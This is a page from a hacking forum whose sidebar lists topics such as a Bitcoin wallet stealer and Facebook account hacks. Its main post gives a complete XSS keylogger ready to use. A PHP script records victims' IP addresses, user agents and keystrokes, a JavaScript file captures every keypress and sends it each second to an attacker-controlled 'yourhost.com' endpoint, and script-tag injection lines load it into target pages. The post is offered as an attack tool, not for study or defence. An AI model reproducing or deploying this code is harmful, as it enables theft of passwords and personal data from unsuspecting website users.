www.i4info.org

i4info Provides the best hacking Material. Latest hacking tutorials and tools are available here. It is the best place for hackers.

Latest topics

» BitCoin Wallet stealor New
Sun Feb 19, 2017 7:52 pm by jammieban

» The Omega Organisation is looking for members
Sun Feb 19, 2017 5:50 pm by TheOmegaOrg

» Hack any Facebook Account for Free
Thu Feb 16, 2017 2:25 pm by Admin

» Teen Patti Gold Hack & 3 Patti Chips Code Extra Bonus 2016
Sun Feb 12, 2017 12:13 pm by Shan Soomro 51

» Hallmarks of Scientific Research
Fri Feb 10, 2017 4:04 pm by Nomi gee

» Hotspot Shield Elite VPN [Latest]
Sun Jan 29, 2017 11:52 am by Admin

» CCleaner Professional Plus [Latest]
Sun Jan 29, 2017 9:32 am by harry756

» SQL Dumper v.8.0
Fri Jan 13, 2017 10:18 pm by imsopickled

» Infographic Resume/CV Pack
Fri Jan 06, 2017 2:55 pm by Admin

February 2017

MonTueWedThuFriSatSun
  12345
6789101112
13141516171819
20212223242526
2728     

Calendar Calendar

Affiliates


free forum

Forumotion on Facebook Forumotion on Twitter Forumotion on YouTubeForumotion on Google+

Visitors Counter


Flag Counter


XSS Keylogger [PHP]

Share

Admin
Admin

Posts : 472
Reputation : 7
Join date : 2014-12-10
Age : 24
Location : Pakistan

XSS Keylogger [PHP]

Post by Admin on Wed Mar 04, 2015 7:44 pm

 



You can use this method when cookies from target can't be reused.
You need one host where to upload:

code:
CODE:

<?php
$Keylog = $_GET["c"];
$reffer = $_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date ("l dS of F Y h:i:s A");
$port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('data.txt', 'a');
fwrite($file, 'Ip: '.$ip."\n");
fwrite($file, 'Port: '.$port."\n");
fwrite($file, 'Refferer: '.$reffer."\n");
fwrite($file, 'User Agent: '.$user_agent."\n");
fwrite($file, 'Date: '.$date."\n");
fwrite($file, $Keylog."\n");
fwrite($file, "---------------------------\n\n");
fclose($file);
?>


k.js:
PHP Code:

CODE:
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://yourhost.com/g.php?c='+keys;
keys = '';
}, 1000);


Make one new file named data.txt and chmod 777 data.txt

You can use it like this:
Code:
CODE:

[You must be registered and logged in  to see this link.] src="http://yourhost.com/k.js"></script>


or
Code:

CODE:

[You must be registered and logged in  to see this link.] language="JavaScript" src="http://yourhost.com/k.js"></script>



 

    Current date/time is Sun Feb 26, 2017 8:40 am